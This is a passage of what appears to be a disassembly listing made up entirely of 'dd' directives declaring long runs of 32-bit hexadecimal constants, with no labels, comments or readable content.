5831564Dh, 0A00B6AB5h, 583BFD10h, 0E612557Ch dd 680C0E2Ch, 0B1AD441Dh, 0AD346E4Ah, 0CAD2E8ACh, 860A58D3h dd 5B271B12h, 0E95728F1h, 0E925F2D6h, 3D60B9E5h, 0FECF0CEBh dd 0F2D729DFh, 941CC46Bh, 8C02EC5Dh, 31665C0Ah, 96A5A7D8h dd 0D944D7F1h, 9CC229CCh, 0CC8754F2h, 0FB125965h, 24805C2Ah dd 1F504CB2h, 7E1D8988h, 7C5AB999h, 5852A118h, 0D065E236h dd 0C2F4A808h, 0A67C4768h, 9439CA8Ah, 0C597B7F4h, 731AF382h dd 2E2AE37Ah, 5777F74Dh, 3B01C831h, 41AD3877h, 0BC4B27CCh dd 40BD9481h, 0CCEA8A48h, 0DF0F6CE0h, 33106EF3h, 43A2481Bh dd 58C71696h, 56DFE2B2h, 82D43425h, 8CD42A06h, 5B605519h dd 4401A989h, 2195B763h, 3A0558B9h, 61E1634h, 8311E7C2h dd 2D3DE170h, 0B4C10744h, 2C81F8h, 18915C8Bh, 31182E10h dd 82F9AA82h, 0B7A1D554h, 936CF79Eh, 68EBF1C7h, 0C7EBF9F8h dd 724A0436h, 7D801ADCh, 2170EF81h, 83AE38FAh, 375843BEh dd 3A53B1E1h, 2BEA59ABh, 7E90A596h, 0C84ABF0Fh, 27E9E328h dd 76E9CDD1h, 4749C1B8h, 0A81FCF8Bh, 2C8B2C08h, 0A80FC4C3h dd 8605026Ch, 5401CB5Fh, 1C825271h, 800F35B9h, 0C497AEEh dd 4DBDF656h, 0FA4143CCh, 122F5230h, 84628569h, 148924FCh dd 6104140Bh, 114BD460h, 1AE984F1h, 2D4F16A8h, 3D8928BCh dd 991100B8h, 0F92D4830h, 0EF7F3F06h, 45B03DCh, 0E008E987h dd 0F67B8001h, 269628F0h, 0E9CE310Fh, 5BC66189h, 5CE4E775h dd 0F8DBD944h, 0C9FF4E4h, 5C9A016Fh, 56030AEAh, 2E6DDDBEh dd 5290EC12h, 60D56E38h, 73FF1C31h, 88836ADh, 0F9623AA8h dd 1074299Bh, 0C906CE2h, 0CE25E95Eh, 9863443Ch, 5F2C404Ah dd 88F80100h, 5B595808h, 0BDAACB5Ah, 4A9CFF64h, 964A644Bh dd 0F4D26428h, 264AE347h, 5A83D0CCh, 6103CBC7h, 0C8856639h dd 4171FD07h, 38715494h, 0F8DAC9A6h, 0F2129C28h, 0BA048644h dd 17DA2644h, 35FB1280h, 4B792E9Fh, 0B945023Fh, 0D97620C8h dd 4008E28Bh, 12FDEAF5h, 0F02DDBFBh, 8F25E98Ch, 415C924h dd 0E911283Eh, 17541449h, 32C71068h, 14B888A5h, 338B824Eh dd 7F82076Ah, 625CDC48h, 0A3B3944Bh, 99234A27h, 0D2A77D1Dh dd 136A54C9h, 3018E51Eh, 72B8E1F6h, 0E73B2B60h, 48420641h dd 9B3EDE46h, 78B812h, 8D6EA392h, 219F3179h, 3D0DE91Ch dd 36970B38h, 0DA980D43h, 483F25B1h, 182DD40Ah, 0EA3D2D8Bh dd 82ECD75Dh, 60BA536Bh, 2313761h, 87FFF645h, 0B9DB2EC5h dd 0BC76FE84h, 79148BAFh, 5864624Bh, 80DAB600h, 0C2AFA1C6h dd 71F2133Fh, 0C127E1DDh, 0E8AF419Ah, 0F78C5078h, 101D74B7h dd 0D7944F1Ah, 659A018Fh, 0FD0154ECh, 55A52C3Eh, 2C968291h dd 661ACC9Ah, 6A8208D3h, 5374CF21h, 1716B770h, 0C8F098E9h dd 0ED496B61h, 969691Dh, 0F7D320B2h, 2D40D8h, 25396720h dd 0C4EB951h, 4959FD1Fh, 0F841D1CCh, 878924CEh, 79C81FE7h dd 3D58C592h, 814D2C94h, 9986850h, 0E9868538h, 59EA8B75h dd 0F1C3BB60h, 5C4102E8h, 2384ED4Fh, 4783F432h, 49C0D01Fh dd 434BF29Fh, 0B35F1145h, 2C0BCA78h, 0B7B85A0Eh, 0E99AC898h dd 55E30BFh, 0F751002Ch, 57D8012Bh, 12049DBFh, 69E97698h dd 595E0AA0h, 22FDE66h, 0DEC47691h, 5747D0F6h, 419BBFD7h dd 2D827CC3h, 0BAEDE95Fh, 2688CBFCh, 0DBF60F4Dh, 5EE212F8h dd 0D6C019B7h, 0DA812FA5h, 0CCD95B72h, 437EBC1h, 6691A04Bh dd 122E7BE7h, 0E93501ACh, 0D87CCAF3h, 460403C2h, 0DA0157FEh dd 0E9170810h, 5F53429Dh, 0AB85CF09h, 8953D136h, 10CD22F0h dd 580977CAh, 4E82D129h, 2E730A60h, 893D253Dh, 34E81BBh dd 1420D3F7h, 9A550245h, 0E1D14124h, 20D91741h, 0CB09A516h dd 80314F8Ah, 5EE99322h, 0AD2B9957h, 1695879Eh, 56872072h dd 7EEE4260h, 74BF9F57h, 5A240429h, 8D621A68h, 0A9D7417Eh dd 142008D5h, 0AE7E670Ah, 797DEA07h, 4BF3C064h, 82F16B5Ch dd 0C7167A0Ch, 28595E3Dh, 3237F0ECh, 53F8074Ch, 9EF2610Fh dd 21F8DB26h, 68A294D1h, 0DEDD09B6h, 0CA698D51h, 8DC37CC8h dd 0DEAF0F1Dh, 0AE3A47C1h, 52666061h, 5316973Fh, 5E9E3C84h dd 5DA6E9D0h, 0CB511674h, 4561D5F1h, 912508BFh, 5E5BC582h dd 0D0AC2B3h, 0A0D87AE9h, 16F13CB1h, 885D9542h, 10B07F9h dd 5BB548CDh, 80349655h, 290E2FE4h, 0BAB23EE9h, 4281AB2h dd 0A500C250h, 89727E70h, 4DE95BD8h, 77EEECDh, 0C7FEA9B7h dd 52E22080h, 413B151h, 838710B2h, 0FE12EAC0h, 78F2EAC2h dd 0CF94EA01h, 0C1C79026h, 73020987h, 8A6ED728h, 7BB4A080h dd 7DC48007h, 0EC53DCF6h dd 1F06304Bh, 0E7287916h, 18AF5856h, 3A2FA88h, 0EFB68373h dd 4E964BF2h, 0E42E9628h, 0E9CF4949h, 0D9BCAB0Bh, 0A6FAB07Bh dd 364ED525h, 267E6A90h, 0C06826E9h, 5FF986CCh, 895AC229h dd 0E91AB8CEh, 4AF67B44h, 3494C581h, 0BEF9E8F0h, 1133D125h dd 27B8A910h, 0AC5A1454h, 1F9B01Eh, 12A37763h, 896B6168h dd 1828C46Fh, 24F5B3ADh, 1663B050h, 0ED71903Ch, 37272EC0h dd 0C09FE225h, 307AC42Fh, 9AEA3399h, 327FE663h, 820E8B6h dd 7E141CD1h, 0A32E4013h, 572408FCh, 0EFFC6F5Dh, 0E72184Eh dd 18F7508Ah, 0D71BE5E9h, 5392EF7h, 110C63FBh, 75C0BBB4h dd 28080B62h, 1C420112h, 69860809h, 897F12D3h, 2B533E26h dd 969E008h, 7A7280E9h, 72C304BDh, 686DD899h, 0C53C13D3h dd 78BBE8B8h, 0B460E12Ch, 98DD94h, 51F3D8E7h, 45E392Dh dd 0E8297412h, 17AF8057h, 32909F1Fh, 0A719542Dh, 8A62C71Ch dd 0EF4D606Ah, 622E264Bh, 0CCE26B5h, 3766E9C1h, 5D40244Ah dd 57D071Eh, 77E5EE4Dh, 7B2C26ABh, 125414FFh, 0D6022307h dd 0BFF56060h, 1760893Ah, 882D990Ch, 4BE19054h, 4435095Dh dd 95BD8120h, 7A17031Eh, 552C5955h, 0F6D96687h, 0E9FA0A01h dd 0E0130C0Fh, 59C82931h, 78504939h, 36238FFh, 0E0C1405Bh dd 0E397A208h, 0B705989Dh, 0C4FB0B46h, 0DA708DE9h, 4169D096h dd 0AB60585Dh, 0EC4992BFh, 0DA66066Ah, 2BB85023h, 88C82CC3h dd 0ABB7FA10h, 26306F83h, 3AF842CFh, 681C08D9h, 0AFD954D3h dd 5B62616Ah, 0A071A03Bh, 7225E99Ch, 90A68166h, 5F5F996Ch dd 0CE5E763h, 0A1250621h, 0E69FE9E7h, 9A1356Bh, 5E68F247h dd 2D122EF1h, 0B456079h, 96C202E1h, 0B4D30425h, 0B64B9FA1h dd 12296ED8h, 88565DEEh, 0C3963441h, 7EB0E95Ah, 2CAF43A0h dd 3DC00416h, 0A86406A6h, 33782FC7h, 0F2051998h, 66D4AD81h dd 23F83D25h, 829DFBA6h, 9E02E4B9h, 4E2F50E0h, 42BECEA4h dd 0E561908Ch, 2BDB04C5h, 0E055582Eh, 5B75D33h, 0F9924BECh dd 505BD4BAh, 52544C68h, 414048CFh, 5DFA0305h, 0C689331Ah dd 42DA86E2h, 32DA590h, 0F9FF1322h, 247FEEB4h, 6DBB08D8h dd 33EF830Fh, 21987CBh, 40D051B9h, 0AF05F8FDh, 5694581Dh dd 0DD3CC940h, 17505F06h, 4B39E8E9h, 33F359C0h, 5CC243h dd 1874C317h, 0DE313A08h, 47949Dh, 423B7A2Dh, 3A8056Ch dd 0E97EDE06h, 0EC411EB0h, 524113FDh, 0C1A9C210h, 0A45D0885h dd 91973130h, 0C110B500h, 7D26BF3Eh, 148B63C8h, 9A81022Ah dd 3951310Ah, 9890A422h, 0A46DADE9h, 5AD2581Ah, 0B2B54F84h dd 4FAB906Bh, 74551372h, 13BCE858h, 666FF6E2h, 6FB64EEh dd 843A54F3h, 1A61D810h, 0CE2CD83Dh, 3F2899C9h, 0AF6283A2h dd 0DEB18B13h, 36533BDCh, 4CFC95B0h, 13F3D7Bh, 6132175Ch dd 0AF840383h, 0C094E4h, 203FF5EDh, 0A0A01991h, 11C6634h dd 30B7E933h, 70F26822h, 0C7B897AEh, 770BEA81h, 5A1C3C27h dd 820882F3h, 0A402BEDDh, 9080C015h, 0D0F2014Dh, 0E916082Ah dd 5645559Ch, 0F8295C83h, 48182BF1h, 2FF0F13Eh, 10C42066h dd 76C5005Dh, 89FBF554h, 35015DE8h, 9EA7F874h, 0C12529E9h dd 4378FF00h, 0F80B7BAAh, 69A29F70h, 5B04495Ah, 0CD16B7E3h dd 2CE3D246h, 0B40041h, 2E68E2D1h, 64E252B8h, 3DF4C355h dd 7CB83D44h, 0B9FD85BDh, 78A02A49h, 0B72D0772h, 0A23D8948h dd 5ED94CF5h, 0BB7A2A3Ch, 8F1DAFBBh, 55B93AE5h, 0CB68C8B0h dd 0A6354A5Fh, 8BF77631h, 6B0EF9EAh, 0E7FBAD68h, 9F262B2h dd 0D2771D32h, 4CE4D2CAh, 0C91ADBC7h, 6E405332h, 20BA51BDh dd 0E781D701h, 3F285C7Ah, 0E2EFD8h, 5654A574h, 3621BF57h dd 0D019622Eh, 0C0F34A13h, 0C9AC899Fh, 6F0D6229h, 5457ECB3h dd 72885280h, 61F07ACEh, 0AA68AF2Ah, 78B9732Eh, 530EE4Ch dd 40AEE96Fh, 0EDC5ECF8h, 4F6E312h, 3D076857h, 5FA386B8h dd 52085EE9h, 0FD684ADAh, 318ACBDh, 0F7BC4464h, 1F3A2621h dd 0E5C104F3h, 0FA85C308h, 60659710h, 61FE49DFh, 45958664h dd 0DD5C13B6h, 93302BF7h, 955BD829h, 0B83B1524h, 40B807F2h dd 5700115h, 2D61ECEDh, 2E6129CCh, 2DC730CBh, 21630216h dd 0ED096006h, 8C2CE69Dh, 0D35C5725h, 0BB5308C7h, 286F7C6Dh dd 0DD246840h, 0E569CC66h, 31C2E78h, 6796A55h, 0E059CFD1h dd 752535A1h, 512B8427h, 0F216E5B0h, 347A5E0Eh, 0CB3119Dh dd 0C865526Bh, 0C9520B2Dh, 75037Eh, 0BC13A069h, 1D85F70Bh dd 0FCA6EB83h, 6E41954Ah, 587F4360h, 7268C164h, 2FE01312h dd 257BB9B3h, 0D1C67D2Ch, 0B74EFF09h, 0F7BA8013h, 12421A9Bh dd 825BD929h, 85E47252h, 0BB7EDE88h, 5912CDFAh, 0D796E821h dd 27E92FF8h, 8C5C5689h, 9CA89EC5h, 53CB4140h, 0E912D95Fh dd 0BD3180B3h, 0A2E4FB2h, 0F503817Dh, 9104F716h, 6A8083D0h dd 0FA573A2Dh, 70B0511h, 4287D89Ch, 0E2D50F97h, 0E46E4C08h dd 45AD3h, 0DCC43BAFh, 0B4DF293Dh, 14DE58Bh, 0AA785714h dd 48C880EEh, 0B862067Fh, 134B4F1Bh, 0F2089838h, 0B413002h dd 503DE944h, 190D9098h, 46D86199h, 0C208D4CFh, 0E7066B98h dd 7AA02462h, 261E7718h, 3C2C01BDh, 517B0CE0h, 0EAA8B9E9h dd 0BD56ADh, 0B665ECE8h, 6907FC63h, 70101C6Ah, 0BE80B170h dd 1F91EC9Eh, 16DEF776h, 318B4495h, 95CEE2C8h, 0ABE909D2h dd 0BA8593DAh, 0E1914001h, 28650020h, 216CB81h, 0D2C01C24h dd 365535F0h, 0E9DF17F7h, 0B7EC418Dh, 30B55154h, 79A9274h dd 62811AB5h, 80ED74DCh, 0A19971C3h, 0DA540948h, 0F5270166h dd 663C095Eh, 85C2E42h, 0B0FC428Bh, 0EB5F5D02h, 51CF993Eh dd 0A0DD2172h, 76DF9A9Dh, 67BD809Eh, 0B92AD40Eh, 0AE231D05h dd 9A822947h, 0F898505Ah, 46221268h, 0C024C41Bh, 0F17556E7h dd 0FA011D16h, 5808F710h, 9F174103h, 17095B18h, 4E9D7079h dd 28D48150h, 3A1D2FEFh, 0F8D6611Dh, 157FA204h, 5E2778A3h dd 0FDC6FB69h, 5586C1Eh, 712EF4BBh, 5504F3ACh, 8079C846h dd 0EA2AEF3Ah, 0F1C7034Fh, 6C24E390h, 0D2195CE5h, 0F925F3Eh dd 0AA670056h, 21FAC8B2h, 5CD8EB5Dh, 88B127Eh, 680AA1A3h dd 0A84A5323h, 540E3279h, 0D40D097h, 2930024Bh, 28C67034h dd 0B37909Ah, 0B31BE9D3h, 0CECB2CC8h, 1ACDC16h, 342626B5h dd 0A8CB134Fh, 0E5E9F1C9h, 0D3018D51h, 0CC48B526h, 15252931h dd 0EE6F9CE6h, 7C31A42h, 0C60E625Ah, 58C6250Dh, 9220A5DAh dd 9968123Fh, 2794CC03h, 5AC240h, 0FEB5B652h, 0AEE80C6h dd 660C7FCh, 46FC1A1h, 503AF7B1h, 62510890h, 294ADD3Ch dd 19452B0Bh, 82F85D05h, 0AF30D090h, 0F58163D8h, 840905E0h dd 0F86C0127h, 52978AECh, 28114BC6h, 0CD2834Eh, 9A1010ADh dd 0A4CD4A52h, 9DFED7ECh, 4E031048h, 0BF06B401h, 87189FCh dd 0E29A124h, 0E9215FFDh, 0B67C1CEh, 36416352h, 5584403h dd 3C725691h, 0C100C28Ch, 0CA8103E2h, 0E256C26h, 92B64804h dd 1877300Ah, 0A8F8C30Ch, 0D6013909h, 0B64D35Ah, 5D96242h dd 0D1C20903h, 64B2E1E2h, 7A773E23h, 8F65D95h, 11EC5F25h dd 4DEBC35Ch, 225A2ED2h, 52CE2D01h, 346F51DEh, 0A5C92DAAh dd 0B3BC577h, 8BA9E4E9h, 4A3BF8DBh, 7D1AE6E2h, 1BF62214h dd 5FF9C2CDh, 4E3F9075h, 0F1A4FEE7h, 0C6AEE85Eh, 959FC821h dd 888ED296h, 0A685509h, 80EAF942h, 6E70174Ch, 7A001E35h dd 0D8F738CFh, 7C68D405h dd 0D483CEEh, 10757F82h, 0EC68E8E9h, 6815C7FEh, 1C265618h dd 263E3CB0h, 79A54758h, 62E904BCh, 0FC6BB50Eh, 5F13ED7Dh dd 41A36468h, 4629BF25h, 0E95F8900h, 6EDEAE2Eh, 9127FE1Eh dd 0E0395E6Ch, 24511B10h, 15C8085Dh, 3C5CE984h, 65C58BFCh dd 9E8D666Ch, 144C472Dh, 5D24B01Ch, 128BFD1Dh, 500A170h dd 70F42D0Ah, 553F6851h, 0DF206367h, 663E1398h, 0A8AF007Dh dd 906812Dh, 93E9D612h, 15DD2B91h, 3E412F18h, 3DC18330h dd 0E22505EFh, 93803D09h, 36043A7Eh, 0F2250494h, 161A9007h dd 1E6F3CF4h, 4C2096A6h, 0D345095h, 7E5B1812h, 0EDC0C412h dd 3DB304ACh, 0F530FB2Ch, 81B050B9h, 1E0C03Fh, 0BBB15166h dd 893BC820h, 7614F5E6h, 6B4F16A0h, 0E4206F9Dh, 0E90DC502h dd 0B8CC4B68h, 0C3F58A5Ah, 6A34CF2Eh, 25FA5008h, 980819E5h dd 88E02EE6h, 492F3262h, 8F78CEBDh, 10C49A5Bh, 0BD3EEC95h dd 6B02578Bh, 0BCCDC180h, 14583079h, 592E0160h, 0BFE9472Bh dd 0BB02A32Ch, 34925869h, 0B9806B51h, 1AEA485Fh, 98F3BA41h dd 2C770D46h, 300C5826h, 92026ADBh, 0CDE9CE89h, 1CAA7DF5h dd 26654957h, 5529680Eh, 62D784AAh, 0BEF75F04h, 666D03C2h dd 0EF819D5Dh, 0F865417Bh, 0DCB4CF28h, 9FC83E80h, 90C531E5h dd 311B4100h, 9506B61h, 15D25AD3h, 0B0B6795Bh, 67572226h dd 6801623Bh, 0EA26082Ah, 48DE6A09h, 7C6FDB3Ch, 338AC1C3h dd 2856E712h, 0EE8C0B78h, 0C25A02DDh, 0B06444Ah, 541076F7h dd 1D5EF780h, 0F3EC2BDEh, 597E9212h, 0CD16561Eh, 852A83CDh dd 0F8108287h, 0C78A9CDCh, 2028C04Dh, 0DB1E1E4Ah, 3A020917h dd 0FC789B68h, 545E652Eh, 1F02C2E5h, 0F77C837Dh, 9368E060h dd 0F1CC524Fh, 5DCA407Ah, 0BDDF3097h, 453205A2h, 0F0C5E930h dd 4E75B39Bh, 0B0FDD84Ch, 74986866h, 0DFDB174h, 0D94B2754h dd 73153881h, 5DE8311Ch, 0ED66C3DDh, 5BABC10Bh, 0F357932Ch dd 5FF818FAh, 8156AB44h, 80BF3158h, 0AD055CC5h, 0BC7AD017h dd 50AE16BDh, 312F9F74h, 0E6C0E981h, 933B7105h, 1527A16h dd 5C1707CFh, 0E95A0480h, 28CBB822h, 4B26D3ADh, 7EACB10Fh dd 13ABA430h, 5E0D7EEFh, 5A150BA2h, 0EE40E14Ch, 733460B3h dd 7A2D6DCDh, 0C5616F76h, 219084F4h, 53508A41h, 5156CF42h dd 0B1758B5Ch, 4E69C590h, 0E541FB28h, 0E13E80C0h, 0A312C1Dh dd 1FA3E9FEh, 885980C5h, 0F6805BDEh, 0C6138D73h, 0EF095354h dd 0E711E85Eh, 10DF1460h, 0A8179B31h, 0E3F3F5F3h, 9E3BBD9Ch dd 0C59DAAAAh, 6375A4B2h, 0F7354FE3h, 0A7A4DECDh, 90EBF259h dd 796924Ah, 0E26469B9h, 479A278h, 83895153h, 26FB59EAh dd 9F474889h, 4142D77h, 0B29DED76h, 35FED96Bh, 6D210D0Eh dd 6A600E7h, 0A767E75h, 3C2C67Ah, 51713D68h, 50C48D5Fh dd 7476210h, 70490566h, 4BE5A9D3h, 8327C434h, 9FA81B7Fh dd 0CE0901F3h, 0D096E959h, 0F8303BB0h, 84376EAEh, 0AAC1215Ch dd 12C44A22h, 2B026561h, 0D660F28Bh, 25E168B4h, 0E9D21895h dd 0F2354F38h, 98A42218h, 280B0164h, 526658C3h, 0F3BAD3B6h dd 80C21AF4h, 9D40C0C3h, 6C6D9548h, 0D5B85C93h, 0BEE634A7h dd 3881A86Dh, 0BC6F3ABDh, 154E216Bh, 51430F86h, 81F020F6h dd 65240BE7h, 0EF078922h, 1C6044CAh, 0B2FD83E9h, 4FA1B88Bh dd 0D3F135E8h, 2CCCAFDh, 0FE675568h, 9FE6766h, 56510256h dd 18DA5D5Dh, 0ECB40CE9h, 0E3E872Ch, 0C403F180h, 1DC407E1h dd 2DEAFFD4h, 83D2078h, 32832496h, 0B0707316h, 221CDC9h dd 51566E12h, 270DDE9h, 0B417CFDEh, 3BFCB952h, 6FB3B7B4h dd 0AF1F6473h, 43AD5891h, 3567A207h, 5A6A19D5h, 5D256808h dd 3A2F181Bh, 0F00E4A0Ch, 0A05D459h, 0EBE9484Eh, 2C808AE0h dd 3C4B3ACEh, 0D90345C1h, 0A8E6F8D9h, 0CA011CC7h, 93B00A7Bh dd 0EAE9C045h, 7B7AE693h, 9DA8C688h, 5CA68ECDh, 3D668200h dd 97F20151h, 94C4F4Ch, 0B1F78001h, 0BF5D6F43h, 0CA833189h dd 4C9A4B7Ah, 0E901DC74h, 5CC2B1CFh, 13F21E3Bh, 0B9D1B0E7h dd 0E026109h, 24C4FE40h, 9407E47Ah, 0B027F8F0h, 4949619Bh dd 0E105FD74h, 0C0A343BFh, 2394F102h, 0FD4FC328h, 4539C209h dd 0D8090169h, 0E700210h, 0B8915Fh, 16075BC2h, 0D058310Dh dd 207F581Eh, 24CA038h, 0B1434D68h, 0E921984Fh, 66B5D1ECh dd 4E361931h, 32EF843Dh, 2AE90968h, 0B5DC818h, 0ACD001Dh dd 6858C631h, 2DAA1B66h, 0A18C717Eh, 1C6F9BDh, 1D2D1C44h dd 0F85EF229h, 32D6308Eh, 0F2032EF0h, 255E9463h, 5D0CAE82h dd 0C276A63h, 0E98B4804h, 0ADEE6E65h, 5BC2FCD3h, 8D044F52h dd 34BF49B6h, 12378BB0h, 758032E9h, 0E4C38853h, 0B75B75DAh dd 0D004FB2Bh, 2727BE25h, 0F1224182h, 56FAA5D9h, 51D9D727h dd 89DD9EB8h, 187057D4h, 0E8C630E6h, 777F4397h, 7FE35E7h dd 58BAA20Eh, 240D21B9h, 5B324B88h, 1F824480h, 0FFA04296h dd 0F2C437Eh, 0EE420E22h, 7AD74C20h, 0F137355Fh, 4885AC9Ch dd 614C269Ah, 0F815864h, 24BBB7EFh, 5947B04Fh, 6B2C4600h dd 4835E281h, 0E9671626h, 2B8BA176h, 0BEF5BA39h, 0B70DA804h dd 54526168h, 0C8293B5Ah, 8B3265F2h, 2681E8C1h, 741E68C8h dd 0D04BE944h, 0D5824184h, 0C3522745h, 535C1318h, 2214E25h dd 5C022772h, 698C167Dh, 567C6E33h, 7091DAC9h, 0C94055B9h dd 8821E742h, 4130FB2Eh, 0E658E630h, 9FB8BFF0h, 24B2440Fh dd 9FB87E49h, 0A6CEA74Ah, 2711F781h, 48217E53h, 4AC6950h dd 0B3C8D3E7h, 0F7B60F8Eh, 840D8A68h, 48126289h, 0C4ADCB5Dh dd 0F8CE293Ah, 0A8ED9336h, 1A2A7B98h, 4C620594h, 99945954h dd 2E582131h, 9EB1180h, 51C93B63h, 0ECBEC302h, 0C3F897AEh dd 0D2E96839h, 0C3642527h, 66F8814Ah, 0B36C1FAh, 807FBD02h dd 814D4C57h, 7F9102F5h, 0EF295ABBh, 5CF5341h, 512724BCh dd 46A53CF3h, 25683F0Eh, 9573BD4h, 33E95651h, 0B30BE2D8h dd 87C3FE11h, 0F333E045h, 0D4F1FB20h, 4067BDCBh, 0B2AAF254h dd 642F76D6h, 0B38F5007h, 3D8BB272h, 6DBC7A2Ch, 0BD4E8093h dd 9B650487h, 9FEDF5Bh, 0F356553Bh, 44945F72h, 5C60A8BCh dd 58C8AF0Fh, 641A6251h, 7848A9A5h, 430D331Bh, 1054016Ah dd 0C4844F1h, 5DE9E25Ah, 6587FCDh, 19662F10h, 45FE32B3h dd 0FE3F8540h, 0B0E3F0CBh, 0EA4A2617h, 0C9C89D59h, 0E89146E1h dd 73BC803Eh, 0DE439B25h, 97EA51h, 0D32D16Ch, 1CC842C3h dd 3800E2EAh, 0B72D7C82h, 0BE6B453Fh, 0E3681ADDh, 9881AEDCh dd 2949773Ch, 0A0912DEh, 0C1697C12h, 0FC80804Dh, 0E9A39D95h dd 889B503h, 52168771h, 8C4910A2h, 0A8D8E984h, 305B0941h dd 41A0D9E8h, 6C591568h, 80C2C055h, 9669EE2h, 0C852E953h dd 0E18218CEh, 5050FCE4h, 0A44095CFh, 1071BFh, 0E7815E53h dd 3CB742CBh, 9D09C7ECh, 0DCEC8932h, 0B9E90446h, 0BA6D94F4h dd 651EB801h, 486D27A6h, 61025289h, 6801B3FDh, 0DB886054h dd 5A173770h, 9229C78Ch, 0A75FB90Fh, 6805F0F3h, 66EC4251h dd 0AD6562CFh, 6233E803h, 9B0079Ch, 9D0106F6h, 8943A708h dd 387B5B65h, 48F931CDh, 0DC8B0295h, 0A61154EFh, 88199535h dd 769A9B8Dh, 41033497h, 0ED246E83h, 2A9045ABh, 7B84A75Bh dd 0D9C461FAh, 92A856E1h, 1985B8A0h, 0E925340Bh, 8808609Dh dd 135B58DCh, 0D4A8A613h, 20EC118Bh, 0D60BE9C2h, 5DEFDAA1h dd 81EE2031h, 3C2FE503h dd 0B5C123C6h, 399603BEh, 1E765836h, 0CB61EA01h, 26BEE90Ch dd 64F6202Ah, 8B08966h, 0B8A3762Ah, 4D4B71ECh, 7E61C7DDh dd 6FB72089h, 8D124A85h, 0B2D802D5h, 55A59A5Dh, 36BCCABCh dd 0B582796Bh, 5323AF95h, 0F795022Ch, 1C783DFh, 0FD2509E0h dd 0C42F7782h, 22F8D52Bh, 0B03CB2BFh, 973EB30Dh, 6875844Eh dd 0FC211B64h, 1F4AC1D3h, 84432DB6h, 0A2DAF739h, 18CA9487h dd 0BB121CF4h, 0E46812C3h, 0EA00065h, 2941A836h, 35F371F7h dd 0E62A2CB1h, 0D368374Ah, 78FA8D83h, 0B227D220h, 608F3402h dd 7097BDE0h, 0E9291375h, 0F66CC073h, 0CDB080D6h, 53A5D8E7h dd 2C4AB301h, 4D82821h, 0F05341D2h, 80E3A470h, 0D3E4DA30h dd 8D2F634h, 0BF0B0812h, 1B4E1041h, 0F6DE5B28h, 2387139Ch dd 0D6CB94A8h, 58BB3620h, 8E1FDE9Fh, 0AD17D931h, 4D66E347h dd 2DEDF029h, 6BFA292Bh, 1C566F20h, 0CF16E780h, 0F06BD3CFh dd 6866E1A0h, 0BBF207F2h, 0FD8835C6h, 4314D38Bh, 0E1F280C6h dd 0C0EAC299h, 0CBA05AD0h, 0DB9E44FBh, 8022684Bh, 698D9407h dd 0EEF91F78h, 92603D8h, 0C20096F2h, 0BF24A399h, 0F5899F31h dd 290AD752h, 0C2657839h, 3D0C8500h, 9BEA313Eh, 60CA2071h dd 0AFEB9DCBh, 8DF4E328h, 349D04Dh, 0D4170FEFh, 6B08DA1Fh dd 73EA83BCh, 0F40A4BF0h, 9616B480h, 9D05F480h, 0CCBA278h dd 89C12427h, 5C8652FAh, 0D22C69E0h, 35C76495h, 0E1DDFD7Bh dd 122F20FFh, 9F908292h, 9BBB5301h, 4B49847Dh, 7393C82Eh dd 0C41AD1ECh, 0C3A543E9h, 0BBDBC694h, 988A09Fh, 598D0A47h dd 0ED4CEED0h, 147C1214h, 0A20492EDh, 0A85E9F7Fh, 0C73E16B2h dd 0F141C3B5h, 3379A13Bh, 0C5162C09h, 0E5ACB4F8h, 1E4F6874h dd 15621D8h, 0F96646BEh, 2C9AE97Dh, 9E9C5CCAh, 0B2F2418Ah dd 285AF384h, 0B0EB6C80h, 0B2521751h, 0E90637A2h, 3A8A6807h dd 5BF2639h, 0D468E9FBh, 488A825Dh, 0C610D76Bh, 355CA0E0h dd 0AC31E44Eh, 26680244h, 6C873AA5h, 79BCC940h, 0EB607B27h dd 2BBEBCC9h, 48E361C5h, 4902C25Eh, 0CEBD7768h, 42D60D0Fh dd 5C5D6909h, 0ED500042h, 0FABA5272h, 474A6813h, 489F2B00h dd 2FE9E70Bh, 7E1CAB2Dh, 0FE358703h, 0F0D5F707h, 1B17D8EDh dd 124D1926h, 0F60523Bh, 12312324h, 0F8EC5004h, 4CB2B800h dd 48716E3Bh, 0DF6D2D00h, 0C131458Bh, 0A3E91558h, 4358FBD3h dd 0AFE07B31h, 64300219h, 0AB3555F7h, 17FB2374h, 267B2C63h dd 0A8BC828h, 58082409h, 205AF25Dh, 87391F5Fh, 0F9EE27F2h dd 163410D7h, 0E5D8FB01h, 80A7127h, 4B0DE941h, 1D5D1228h dd 0B1D9467h, 30CDCAE9h, 5F1768CDh, 5440224Ah, 0CD36D60h dd 8CB6ECA6h, 4E5DC5CCh, 39F72C5Bh, 0ECA3B74Eh, 18EE5B2Fh dd 69A20C44h, 5C288B9Fh, 0CF183AAAh, 0B4C20A0Ch, 34C9D94Bh dd 5825172Dh, 0BDB4BC96h, 5F60E950h, 6816704Eh, 43B93601h dd 0C0005192h, 15347D7Fh, 0B3B720E9h, 2A612A0h, 8CC154ECh dd 7B8801CDh, 6E6F2E84h, 412AAC3h, 8DF76B20h, 7B1E1F09h dd 51670947h, 0B7BDD4A1h, 861E6508h, 610ACDD6h, 9C51F0Ah dd 1835661Bh, 0BF51206h, 3E28694Ch, 83B81850h, 67A4250Eh dd 0E6D0425Dh, 4A0C1240h, 0E1E3E972h, 48897F5Bh, 843B2B5Eh dd 31479305h, 96FCEDC7h, 0A6D259A2h, 0EAB71859h, 1B40E1CFh dd 54117D5Ch, 3DF450E7h, 0A05E8CE9h, 5C0738F3h, 0D27FB050h dd 298030B8h, 1D4C4406h, 0DF021397h, 6D155430h, 0A1894BD4h dd 165F33ABh, 56C9E1EBh, 123A5EE1h, 0A4E5B809h, 56DAAE80h dd 806B5063h, 8C879425h, 77C71D86h, 7DBF9E40h, 748306AEh dd 8F59CF31h, 8102E71Ch, 0EA04C8CEh, 3102DD69h, 625D925Eh dd 0D4A089D7h, 0F9F587BDh, 894F623Fh, 2D2D96D7h, 0B045F201h dd 0F841490h, 51B083C8h, 4E39D12h, 285BA4F7h, 7F49E96Bh dd 625938A2h, 9AF4594h, 8267680h, 829D2D9Dh, 0D54DCF2Dh dd 0A54C6691h, 3F245639h, 0F99DF196h, 0E7B19330h, 710E212Eh dd 96A2281Ah, 1FF22C24h, 0D405568Bh, 6804A130h, 9C68A1FAh dd 0DED94BA5h, 0B5E1F069h, 0BFC572C5h, 9F411252h, 1C976CDFh dd 0F17C1A3Dh, 144B0C49h, 0FB74E918h, 662E572Ch, 0AE972C5Ah dd 7CBBFE0Bh, 3FED89A6h, 3CC40476h, 0AD383BCh, 0AD6B5B9Ch dd 350CCBFBh, 